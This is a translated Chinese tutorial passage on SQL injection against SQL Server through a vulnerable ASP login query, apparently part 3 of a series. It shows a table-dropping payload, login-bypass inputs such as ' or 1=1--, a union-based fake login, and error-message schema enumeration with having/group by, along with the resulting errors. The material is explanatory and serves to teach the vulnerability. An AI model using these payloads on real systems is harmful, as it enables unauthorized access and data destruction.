程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> 多樣化的Sql-Server應用程序注入(3)

多樣化的Sql-Server應用程序注入(3)

編輯:關於SqlServer

這裡討論的是'process_login.ASP'中的創建'query string'的部分:

var sql = "select * from users where username = '" + username + "' and password = '" + passWord + "'";

如果用戶指定了下面這樣的數據:

Username: '; drop table users--
PassWord:

'users'表會被刪除,所有用戶都不能登陸。'--'是Transact-SQL(交互式SQL)的單行注釋符,';'標志著一個查詢的結束另一個查詢的開始。用戶名最後的'--'用來使這個特殊的查詢無錯誤結束。

攻擊者只要知道用戶名,就可以通過以下的輸入以任何用戶的身份登陸:

Username: admin'--

攻擊者可以通過下面的輸入以用戶表裡的第一個用戶來登陸:

Username: ' or 1=1--

...更有甚者,攻擊者通過以下的輸入可以以任意虛構的用戶登陸:

Username: ' union select 1, 'fictional_user', 'somoe_passWord', 1--

因為程序相信攻擊者指定的常量是數據庫返回的記錄集的一部分。


[通過錯誤信息獲取信息]

這個技術是David LitchfIEld在一次滲透入侵測試中首先發現的,後來david寫了篇關於這個技術的文章,很多作者都參考過這篇作品。這裡我們討論“錯誤消息”技術潛在的機制,使讀者可以充分理解它並且能靈活應用。

為了操作數據庫裡的數據,攻擊者要確定某個數據庫的結構。例如:我們的"user"表是用下面的語句建立的:

create table users( id int,
username varchar(255),
passWord varchar(255),
privs int
)

並且插入了下面的用戶:

insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'passWord', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )

我們假設攻擊者要為自己插入一個用戶,如果不知道表的結構的話,他不可能成功。即使他運氣好,'priv'字段的重要性還不清楚。攻擊者可能插入'1',給自己在程序裡添加了一個低權限的用戶,而他的目標是管理員的權限。

對於攻擊者來說幸運的是:如果程序返回錯誤(ASP默認如此),攻擊者可以猜測整個數據庫的結構,讀取ASP程序連接到SQL-Server的帳號權限內可以讀取的任何值。

(下面給出的使用上面提供的示例數據庫和ASP腳本來說明這些技術怎樣實現的)

首先,攻擊者要確定查詢的表名和字段名。要做到這點,攻擊者可以使用'select'語句的'having'子句:

username: ' having 1=1 --

這會引起下面的錯誤(譯者注:having字句必須和GROUP BY或者聚合函數一起配合使用,否則出錯):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.ASP, line 35

所以攻擊者就知道了表名和第一列的列名,他們可以通過給每列加上'group by'子句繼續得到其他列名,如下:

username: ' group by users.id having 1=1 --

(結果產生這樣的錯誤)

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.ASP, line 35

最後攻擊者得到了下面的'username':

' group by users.id, users.username, users.passWord, users.privs having 1=1--

這句沒有錯誤,相當於:

select * from users where username = ''

所以攻擊者知道了查詢只是關於'users'表的,並且順序使用了列'id,username,passWord,rpivs'。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved